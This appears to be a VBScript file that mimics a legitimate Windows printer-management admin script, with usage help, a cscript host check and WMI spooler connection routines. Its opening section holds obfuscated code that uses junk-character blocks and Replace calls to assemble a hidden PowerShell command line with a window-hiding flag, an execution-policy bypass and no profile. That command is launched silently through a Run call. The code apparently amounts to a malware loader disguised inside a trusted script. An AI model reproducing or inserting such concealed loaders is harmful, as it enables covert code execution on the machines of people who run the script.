DpCoOWGRJDdMtsOzqWRLtKWwalUocRNsHGmiOzvgPWTMGvWevJKbbOtWdOhhBwKKKPdLDqolyQWgLKItQWKvRcMgISXJGWlHxUyJyZNqCdbWWWfUDbxxIkDWqJOGZwbhOckPyDdkaOBuWUxoWUDkUDeWBMrGqvOXpeDvkeqqhUeUUTDJPRPXGKwBvPkhGcaJhRnPDcJ.Run UNoNOGQRJzTWQAOcNWMBTCWxagLIJuNUwYiGjovpNmTWiHWOGhwHXNUPvNvUBdwmGxvBWbNgyQPujnDNQnCvMglDIGGNimgoNjyJylXbotGWPcIkzoONcGLapJOUJdHPeKAbWWtcaOIqWiiyWUigviPWBUbGPHSPQyPXxyNUWiyXiTXJSIPPUKLIHbAOYWfjvRoNXcj, 0, False
End Function
KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG = KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG & WGUhkhdpxxkKxxWGUPKDhPXTOUWrxWOZTIUkwPrDpIhpUGYYPXNcKkGxdPOWBkRpHKBkDGprBaYOdWxccOpfpBkuYhmhPULWXtQWGTzKWkUTiwDKddNHLHWpGBYIDpBKNyKxwTeKWtWZBBPxKHtHuRHWKaPXLhkHTWkUxhWHyxKrWNuuwwHKROpKzPdLPpzdLOGOQTc()
KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG = KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG & CVOZKvlRPUKsyUBCKWlnFAJHCXYOUYCXHLZGQCcnMJvLXCACAHNyHGIUlnVJHGWRUBJGnULnEJNVZBygXVDgLyKZDJGvAUnQJdOJWoKsBKuFUHnMnuNUCuQEWJDLrTEgPHlUHFGTKdQAEErPOsXGcWsYMpCJKvGIFCGZDZCHHUSOKZZrQHUTWMLTDpHKCTKHnCVCOHX()
KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG = KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG & ";@##}@@@@@
(:}##}
(##(]:@
@@@#@@(@@
#@@4}}
#@}@#@@
@}@#]]}#}ow(
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
:(4(:4}@:
:(4(:4}@:
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
:(4(:4}@:
:(4(:4}@:
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
$} -windo
:(4(:4}@:
:(4(:4}@:
wstyl(
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
:(4(:4}@:
:(4(:4}@:
dden -(
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
:(4(:4}@:
:(4(:4}@:
ionpolicy byp
:(4(:4}@:
:(4(:4}@:
ss -NoP
:(4(:4}@:
:(4(:4}@:
rofil(
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
$} -com
:(4(:4}@:
:(4(:4}@:
mand $OW
:(4(:4}@:
:(4(:4}@:
gzUWHHlYlUUNuokWKUvHNePRkDUPRpLDQzbYtDqcSiGNUHUoSlnZaTsecTWPRDnOGWcHoqWDPfexqdRNfheqvwWKUjfKUiDWRLdlPkNqUlHCeUmxUflRPpeOUluaIDZXusvWYPlwkDmnUcqGWWHeZHuWRmgwTHLJoOozUOnDjcOAcGwlDlDJdjzmHWvIzcRDaYpSwuD = "
:(4(:4}@:
KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG = WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG, gzUWHHlYlUUNuokWKUvHNePRkDUPRpLDQzbYtDqcSiGNUHUoSlnZaTsecTWPRDnOGWcHoqWDPfexqdRNfheqvwWKUjfKUiDWRLdlPkNqUlHCeUmxUflRPpeOUluaIDZXusvWYPlwkDmnUcqGWWHeZHuWRmgwTHLJoOozUOnDjcOAcGwlDlDJdjzmHWvIzcRDaYpSwuD + ";" + gzUWHHlYlUUNuokWKUvHNePRkDUPRpLDQzbYtDqcSiGNUHUoSlnZaTsecTWPRDnOGWcHoqWDPfexqdRNfheqvwWKUjfKUiDWRLdlPkNqUlHCeUmxUflRPpeOUluaIDZXusvWYPlwkDmnUcqGWWHeZHuWRmgwTHLJoOozUOnDjcOAcGwlDlDJdjzmHWvIzcRDaYpSwuD, "")
KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG = WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG, "(
]$@@:@@
@$}($@(@
(@$@@(
((:$}@#}@@
(}(}:(
}$@+$@}
}@$}}$
@$}($@@
@$$(@$}:$
$@$(@@
$}", "e")
KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG = WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG, "@##}@@@@@
(:}##}
(##(]:@
@@@#@@(@@
#@@4}}
#@}@#@@
@}@#]]}#}", "p")
KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG = WEEFRCHIMRBZQVMIMZNELERSYSEPNEXGVUTMWXYVIFWOYUYAMSDZBWIRMMGZYSVIUVDVBALOBRVGHDTDUDCUAXEYMCZKQZXQJNTDRCZMGPYKBBJJSCEVPAIWQEJZABYBUEWUJQMSEQOLYUXKSQSNVCBIEXMMSALFQXPXFPZBPMRZMXXWHZGJJKGSDOPMDAZDEJUBFAF(KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG, "#####", "o")
nUIcGUMKBckcsadLybUTDPYWeyleWfriTCCLOGjANXWcSDbmnZUPgmUUumgfdjUlCAuTajcyvQUWAxKrQBPjUWRWeNodSXyULxxBvBajIAqLULoUcASLKeshWBWWHjPxHLZcyUAXeYzUbWYipAiDSippdAPWKDllcszhessmmWsQWWpBUAHlWSczDcZMCQQKgKONpGK(KOqvyOlvxGlUIaRtCnDLfWbRLsCnPYgHKfhGyXSqKcMmcnnjDezKGvnsKvMhgOzbgpKLUuvsqDfHQDcasiWSDUwBGsAWccsPPZHxqNUzqnUNfYhBZDcPRHQGKxicGOKSRfJuLcMuybUInWMvsKbMMbjsvsBPnninDWJPeMPoGWMfKqyxKlbnKuUUnuGAfOjGzvzKyAG)
' Display command usage.
sub Usage(bExit)
wscript.echo L_Help_Help_General01_Text
wscript.echo L_Help_Help_General02_Text
wscript.echo L_Help_Help_General03_Text
wscript.echo L_Help_Help_General04_Text
wscript.echo L_Help_Help_General05_Text
wscript.echo L_Help_Help_General06_Text
wscript.echo L_Help_Help_General07_Text
wscript.echo L_Help_Help_General08_Text
wscript.echo L_Help_Help_General09_Text
wscript.echo L_Help_Help_General10_Text
wscript.echo L_Help_Help_General11_Text
wscript.echo L_Help_Help_General12_Text
wscript.echo L_Help_Help_General13_Text
wscript.echo L_Help_Help_General14_Text
wscript.echo L_Help_Help_General15_Text
wscript.echo L_Help_Help_General16_Text
wscript.echo L_Help_Help_General17_Text
wscript.echo L_Help_Help_General18_Text
wscript.echo L_Help_Help_General19_Text
wscript.echo L_Help_Help_General20_Text
wscript.echo L_Help_Help_General21_Text
wscript.echo L_Help_Help_General22_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General23_Text
wscript.echo L_Help_Help_General24_Text
wscript.echo L_Help_Help_General25_Text
wscript.echo L_Help_Help_General26_Text
wscript.echo L_Help_Help_General27_Text
wscript.echo L_Help_Help_General28_Text
wscript.echo L_Help_Help_General29_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General30_Text
wscript.echo L_Help_Help_General31_Text
wscript.echo L_Help_Help_General32_Text
if bExit then
wscript.quit(1)
end if
end sub
' Determines which program is being used to run this script.
' Returns true if the script host is cscript.exe
function IsHostCscript()
on error resume next
dim strFullName
dim strCommand
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
strCommand = Mid(strFullName, j+1, i-j-1)
if LCase(strCommand) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
end function
' Retrieves extended information about the last error that occurred
' during a WBEM operation. The methods that set an SWbemLastError
' object are GetObject, PutInstance, DeleteInstance
sub LastError()
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General04_Text & L_Space_Text & oError.StatusCode
end if
end sub
' Connects to the WMI service on a server. oService is returned as a service
' object (SWbemServices)
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
WmiConnect = bResult
end function
' Remove leading "\\" from server name
function RemoveBackslashes(strServer)
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
end function